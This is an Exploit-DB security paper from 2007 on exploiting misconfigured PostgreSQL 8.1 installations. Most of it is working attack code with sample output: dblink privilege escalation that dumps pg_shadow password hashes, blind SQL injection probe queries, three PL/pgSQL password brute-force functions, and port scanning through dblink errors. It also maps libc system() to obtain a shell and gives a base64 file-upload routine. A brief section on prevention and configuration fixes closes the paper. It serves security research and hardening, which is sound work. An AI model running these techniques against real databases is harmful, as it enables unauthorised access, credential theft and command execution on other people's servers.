Having Fun With PostgreSQL

EDB-ID:

13084

CVE:

N/A


Platform:

Multiple

Published:

2007-06-16

            H a v i n g    F u n    W i t h    P o s t g r e S Q L

            
            
            
            
                                 Nico Leidecker
            
                          nfl@portcullis-security.com




            
                                  June 05 2007






















Table of Contents

  1. Preface
  
  2. dblink: The Root Of All Evil
  
     2.1 Privilege Escalation
   
     2.2 Brute-Forcing User Accounts
   
     2.3 Port-Scanning Via Remote Access

  3. Mapping Library Functions

     3.1 Getting A Shell

     3.2 Uploading Files

  4. From Sleeping And Copying In PostgreSQL 8.2

  5. Recommendation And Prevention

  6. Introducing pgshell

  7. References

  8. Contact & Copyright





Elephant On The Rise

  PostgreSQL is an open-source database management system (DBMS), released un-
  der the BSD license with the current stable version  of  8.2.3.  It  derived
  from the POSTGRES project at the University of California, Berkeley starting
  in 1986 [1]. POSTGRES's final performance in  version  4.2  dated  1994  [2]
  while  PostgreSQL  became one of the most popular DBMS today. In version 8.0
  approximately 1 million downloads were recorded within seven months  of  its
  release. The PostgreSQL project registers a number of significant users like
  BASF, Fujitsu, Sun Microsystems or the U.S. Center For Disease  Control  and
  Prevention [3].




  

1. Preface

  This  document presents a couple of ideas for exploiting weaknesses in typi-
  cal PostgreSQL configurations. Most of these ideas  won't  be  new  but  are
  still  difficult  to find or easy to miss, most documentation aimed at data-
  base administrators often do not address or overlook these issues.

  The following examples where tested on PostgreSQL 8.1 and  may  differ  from
  previous  versions.  Version 8.2 brings further significant changes that are
  discussed in section pgchanges.


2. dblink: The Root Of All Evil

  The Database Link library (dblink) has been part of the  PostgreSQL  project
  since  version  7.2. As the name suggests it is used for interconnetions be-
  tween remote databases. The contribution comes in handy, when, for instance,
  data from a remote database needs to be included into a local database. Typ-
  ical usage for the function is creating a  view  from  a  remotely  executed
  query:

    CREATE VIEW entry_states AS SELECT * FROM
                        dblink('host=1.2.3.4
                                dbname=remotedb
                                user=dbuser
                                password=secretpass',
                               'SELECT id, title FROM  entries')
                        AS remote_entries(id INT, title TEXT);

  This  is just a simple example showing how one might use dblink. But of more
  interest are the ways in which this can be abused. The  library  itself  was
  not designed to allow misuse, but in combination with a poorly misconfigured
  PostgreSQL it turns into a paradisiacal playground for people  with  curious
  minds.

2.1 Privilege Escalation

  The  default  PostgreSQL  configuration from the sources has local trust au-
  thentication enabled. Any connection made from the local host to  the  data-
  base  will  be  accepted and the user directly logged in without the need to
  supply a password. It is hard to understand, why such a feature is  part  of
  the  default  configuration  and  yet, the warning in the corresponding file
  ('pg_hba.conf') is unmistakable:

    CAUTION: Configuring the system for local 'trust' authentication  allows
    any local user to connect as any PostgreSQL user, including the database
    superuser. If you do not trust all your local users, use another authen-
    tication method.

  However  an  experienced  PostgreSQL  administrator  probably won't get into
  trouble with that, but people who are new to  PostgreSQL  or  databases  can
  easily miss this and hence fail to disable the local trust authentication.

  Having outlined above the dblink library, consider combining it with the lo-
  cal trust authentication. This leads to the question: What happens if we use
  dblink to connect to the local host?


    SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                         'SELECT column FROM sometable')
                      RETURNS (result TEXT);

  The  nested  query will be executed with privileges of 'someuser' and return
  the results to the current session. Generally it is accepted that  the  cur-
  rent user is not a superuser. But once we know the name of a superuser, have
  identified a host as having dblink installed and the local trust authentica-
  tion  enabled,  we have a much greater scope. Here is an example from an un-
  privileged user named 'someuser':


    $ psql -U someuser somedb
    somedb=> select usename, usesuper from pg_user where usename=current_user;
     usename  | usesuper
    ----------+----------
     someuser | f
     (1 row)

    somedb=> select usename from pg_user where usesuper='t';
     usename
    ---------
     admin
    (1 row)

  To prove the point, we will try to query the password hashes from  pg_shadow
  first  as  the unprivileged 'someuser' and then via privilege escalation and
  the user 'admin'.

    somedb=> select usename, passwd from pg_shadow;
    ERROR:  permission denied for relation pg_shadow

    somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
    dbname=somedb', 'select usename,passwd from pg_shadow') returns
    (usename TEXT, passwd TEXT);
     usename  |               passwd
    ----------+-------------------------------------
     admin    | md549088b3a87b8ce56ecd39259d17ff834
     someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
    (2 rows)

  These queries could of course be used within SQL injection attacks. Obvious-
  ly  an important requirment is identifying whether the dblink library is in-
  stalled and the localtrust authentication enabled. Taking the most difficult
  option,  lets  assume  that we're facing a blind SQL injection attack, these
  two simple queries would bring us the information we need:

    SELECT
        repeat(md5(1), 500000)
    WHERE
        EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);

    SELECT
        repeat(md5(1),500000)
    WHERE
        EXISTS (
            SELECT * FROM dblink('host=127.0.0.1
                                  user=admin
                                  dbname=somedb',
                                 'SELECT 1')
                              RETURNS (i INT));

  By being able to escalate privileges we are able to perform more interesting
  functions.  which  are outlined in the following sections.  But before we go
  there, let's take a deeper look at dblink and what can be  achieved  without
  privilege escalation.

2.2 Brute-Forcing User Accounts

  If  there  is  no local trust authentication enabled we can still attempt to
  brute-force user accounts, perhaps there is even  an  account  with  a  weak
  password!   A  very straight forward way would be to send word by word in an
  SQL injection query, embedded in a POST or GET request to  the  web  server.
  However,  the unusual high amount of requests made may trigger IPS based de-
  vices.  So, another approach that only requires  one  or  two  requests  and
  leaves  all  the processing to the datbase is required, consider this; Using
  PL/pgSQL, a loadable procedural language for the  PostgreSQL  database  sys-
  tem,  which  an  administrator will have to have created by executing CREATE
  LANGUAGE 'plpgsql'.  We can verify its existance using:

    somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+---------
     plpgsql |
    (1 row)

  Eureka! So, it does exist and even better: By default, creating functions is
  a  privilege  granted  to  PUBLIC, where PUBLIC refers to every user on that
  database system.  To prevent this, the administrator would have had  to  re-
  voke the USAGE privilege from the PUBLIC domain:

    somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

  In that case, our previous query would output different results:

    somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+-----------------
     plpgsql | {admin=U/admin}
    (1 row)

  However,  we  are  allowed to use the language and thus can create arbitrary
  functions.      From this we create a function that compiles words and  uses
  them  in  a  dblink connection string with the local host set as the target.
  Additional, we need exception handling, as an error will be raised,  if  au-
  thentication fails.


    CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                   username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    DECLARE
        word TEXT;
    BEGIN
        FOR a IN 65..122 LOOP
            FOR b IN 65..122 LOOP
                FOR c IN 65..122 LOOP
                    FOR d IN 65..122 LOOP
                       BEGIN
                          word := chr(a) || chr(b) || chr(c) || chr(d);
                          PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                       ' port=' || port ||
                                                       ' dbname=' || dbname ||
                                                       ' user=' || username ||
                                                       ' password=' || word,
                                                       'SELECT 1') 
                                                       RETURNS (i INT));
                                                     RETURN word;
                            EXCEPTION
                              WHEN sqlclient_unable_to_establish_sqlconnection 
                                  THEN
                                     -- do nothing
                        END;
                    END LOOP;
                END LOOP;
            END LOOP;
        END LOOP;
        RETURN NULL;
    END;
    $$ LANGUAGE 'plpgsql';

  This  purely incremental brute-force method will return the word it found as
  the result following successful authentication or  NULL.   Unfortunately  as
  with all brute force techniques, this will have to run a for a long time and
  may not yeld positive results. Another option is using words from  within  a
  pre-compiled word list. One way to do to this, is to use the capabilities of
  another remote database;

    CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                   username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    BEGIN
        FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                              user=name
                                              password=qwerty
                                              dbname=wordlists',
                                             'SELECT word FROM wordlist')
                                          RETURNS (word TEXT)) LOOP
            BEGIN
                PERFORM(SELECT * FROM dblink(' host=' || host ||
                                             ' port=' || port ||
                                             ' dbname=' || dbname ||
                                             ' user=' || username ||
                                             ' password=' || word,
                                             'SELECT 1')
                                          RETURNS (i INT));
                RETURN word;

                EXCEPTION
                    WHEN sqlclient_unable_to_establish_sqlconnection THEN
                        -- do nothing
            END;
        END LOOP;
        RETURN NULL;
    END;
    $$ LANGUAGE 'plpgsql'

  Depending on the data in the database, it would be wise  to  get  the  words
  from  the  actual  data.  Here is a simple example of such a function, which
  gets and queries every table and attribute of type  TEXT  from  pg_attribute
  and pg_class.

    CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                   username TEXT, dbname TEXT) RETURNS TEXT AS
    $$
    DECLARE
        qry TEXT;
        row RECORD;
        word text;
    BEGIN
        FOR row IN (SELECT
                        relname, attname
                    FROM
                        (pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
                            JOIN pg_class ON attrelid = pg_class.oid
                    WHERE
                        typname = 'text') LOOP
            BEGIN
                qry = 'SELECT '
                          || row.attname || ' AS word ' ||
                      'FROM '
                          || row.relname || ' ' ||
                      'WHERE '
                          || row.attname || ' IS NOT NULL';

                FOR word IN EXECUTE (qry) LOOP
                   BEGIN
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                     ' port=' || port ||
                                                     ' dbname=' || dbname ||
                                                     ' user=' || username ||
                                                     ' password=' || word,
                                                     'SELECT 1')
                                                  RETURNS (i INT));
                      RETURN word;

                      EXCEPTION
                         WHEN sqlclient_unable_to_establish_sqlconnection THEN
                                -- do nothing
                   END;
                END LOOP;
            END;
        END LOOP;
        RETURN NULL;
    END;
    $$ language 'plpgsql';

  This could be improved by splitting the result by spaces and by removing all
  the unwanted special characters. But that's not to be done here

2.3 Port-Scanning Via Remote Access

  When a connection attempt fails, dblink throws  an  `sqlclient_unable_to_es-
  tablish_sqlconnection'  exception including an explanation of the error. Ex-
  amples of these details are listed below.

    SELECT * FROM dblink_connect('host=1.2.3.4
                                  port=5678
                                  user=name
                                  password=secret
                                  dbname=abc
                                  connect_timeout=10');

  a) Host is down

    DETAIL:  could not connect to server: No route to  host  Is  the  server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  b) Port is closed

    DETAIL:  could not connect to server: Connection refused Is  the  server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  c) Port is open

    DETAIL:  server closed the connection unexpectedly This  probably  means
    the server terminated abnormally before or while processing the request

  or

    DETAIL:  FATAL:  password authentication failed for user "name"

  d) Port is open or filtered

    DETAIL:  could not connect to server: Connection timed out Is the server
    running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  Unfortunately,  there does not seem to be a way of getting the exception de-
  tails within a PL/pgSQL function. But you can get the  details  if  you  can
  connect  directly  to  the  PostgreSQL  server. If it is not possible to get
  usernames and passwords directly out of the system tables, the wordlist  at-
  tack described in the previous section might prove successful.


3. Mapping Library Functions

  If we take a closer look at the way dblink is deployed, we find these lines:

    CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
    ’$libdir/dblink’,’dblink_connect’ LANGUAGE ’C’ STRICT;

  This is a simple CREATE statement with the $libdir variable representing the
  PostgreSQL  library  directory.  After  executing  the  query, a function is
  mapped from the dblink library to dblink_connect(), which expects  a  single
  TEXT  argument.  There  are no restrictions on what libraries and what func-
  tions are mapped or in what directory we find the libraries. Hence,  we  can
  create  a  function  and  map it to any function of an arbitrary library ...
  let's say `libc':

    CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS 
    '/lib/libc.so.6', ’sleep’ LANGUAGE ’C’ STRICT;

  By default, a non-super user won't have permissions to create functions  us-
  ing the language `c'. But in the unlikely event that we are superuser or us-
  ing the privilege escalation outlined above we can get access to a shell.

3.1 Getting A Shell

  PostgreSQL offers a function for c strings, called CSTRING.  This allows  us
  to  not only map functions expecting integer arguments but also allows us to
  transform TEXT structures into raw character arrays. And that opens us these
  doors:

    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
    ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT;

  Everything  we do with system() will be executed in the server's context. It
  is however unlikely this will be root.

3.2 Uploading Files

  Experimenting with functions it is possible to open, write and close  files.
  Whilst  there might be other methods by which we can undertake this, here is
  an interesting method for sending chunks from a binary file to the  database
  server and then writing that data to a file. The funtions required are:

    CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
    ’/lib/libc.so.6’, ’open’ LANGUAGE ’C’ STRICT;

    CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
    ’/lib/libc.so.6’, ’write’ LANGUAGE ’C’ STRICT;

    CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
    ’/lib/libc.so.6’, ’close’ LANGUAGE ’C’ STRICT;

  Uploading  binary data to a web server which is then forwarded to a database
  server is likely to fail. For this to succeed we need to encode  the  binary
  data  into  alpha  numeric characters. Base64 encoding is our friend and the
  friendly PostgreSQL server incoporates stored procedures  to  make  that  an
  easy way. PostgreSQL will fork a process for every new connection, so that a
  file descriptor will be lost after connection has been closed.  Which  means
  we need to open the same file for every seperate piece of data we send. This
  is not an problem, though. The following function opens, writes to and clos-
  es  a  file,  as  well as decodes the base64 string before writing it to the
  file:

    CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
    $$
    DECLARE
        fh int;
        s int;
        w bytea;
        i int;
    BEGIN
        SELECT open(textout(file)::cstring, 522, 448) INTO fh;

        IF fh <= 2 THEN
            RETURN 1;
        END IF;

        SELECT decode(s, 'base64') INTO w;

        i := 0;
        LOOP
            EXIT WHEN i >= octet_length(w);

            SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

            IF rs < 0 THEN
                RETURN 2;
            END IF;

            i := i + 1;
        END LOOP;

        SELECT close(fh) INTO rs;

        RETURN 0;

    END;
    $$ LANGUAGE 'plpgsql';

  The numbers 522 and 448 in the open() function call are  what  (  O_CREAT  |
  O_APPEND  |  O_RDWR  )  and S_IRWXU would stand for. Please note, that those
  values might vary from operating systems.


4. From Sleeping And Copying In PostgreSQL 8.2

  Many things in this paper rely on version 8.1  of  the  PostgreSQL  database
  management system and would not work or work differently in version 8.2. For
  example within the new version there is  a  builtin  sleep  function  called
  pg_sleep.  This  function  actually  would make life easier. But another new
  feature is the compatibility check which runs when loading libraries.  Every
  library intended for use with PostgreSQL must carry a magic block to identi-
  fy itself. Of course, libc does not have that block and thus cannot be load-
  ed. In short, we cannot use system() for executing shell commands and cannot
  use write(), open() or close() for writing to files.  But what we can do  is
  use  the  COPY  command  to write to files.  Unfortunately we need superuser
  privileges in order to copy data from a table to a file and we cannot  write
  binary  data to a file. So the question is: Does writing ASCII data with low
  privileges to a world writable directory like `/tmp' help us?! Probably not.


5. Recommendation And Prevention

  The  first  thing  one  should do to prevent the attacks outlined here is to
  disable the local trust authentication. Disabling it is done  by  commenting
  or editing the default lines on the bottom in pg_hba.conf to something like:

    local    all    all    ident sameuser
    host     all    all    md5

  This forces identification of any user connecting to the database  from  the
  local  host  or  a  remote  host. Privilege escalation via dblink is then no
  longer possible.

  To disable function mapping with arbitrary libraries it's probably  best  to
  upgrade to the latest PostgreSQL version. But it would also be sufficient to
  ensure all users have low  privileges.  Non-Superusers  cannot  map  library
  functions.


6. Introducing pgshell

  `pgshell'  is  a Perl script that does, what has been covered in this paper.
  It exploits SQL injections in order to gather information on the target sys-
  tem,  escalade  privileges, spawn a shell and upload files. For a proper de-
  scription, please refer to http://www.leidecker/pgshell/


7. References

  [1]  http://db.cs.berkeley.edu/postgres.html
  [2]  http://www.postgresql.org/about/history
  [3]  http://www.postgresql.org/about/users


8. Contact & Copyright

  Nico Leidecker, nfl@portcullis-security.com
  
        http://www.portcullis.co.uk   -   http://www.leidecker.info

  Copyright (c) Portcullis Computer Security Limited 2007, All rights reserved
  worldwide.   Permission  is hereby granted for the electronic redistribution
  of this information. It is not to be edited or altered in  any  way  without
  the express written consent of Portcullis Computer Security Limited.

  The  information herein contained may change without notice. Use of this in-
  formation constitutes acceptance for use in an AS IS condition. There are NO
  warranties,  implied  or  otherwise,  with regard to this information or its
  use. Any use of this information is at the user's risk. In  no  event  shall
  the author/distributor (Portcullis Computer Security Limited) be held liable
  for any damages whatsoever arising out of or in connection with the  use  or
  spread of this information.

# milw0rm.com [2007-06-16]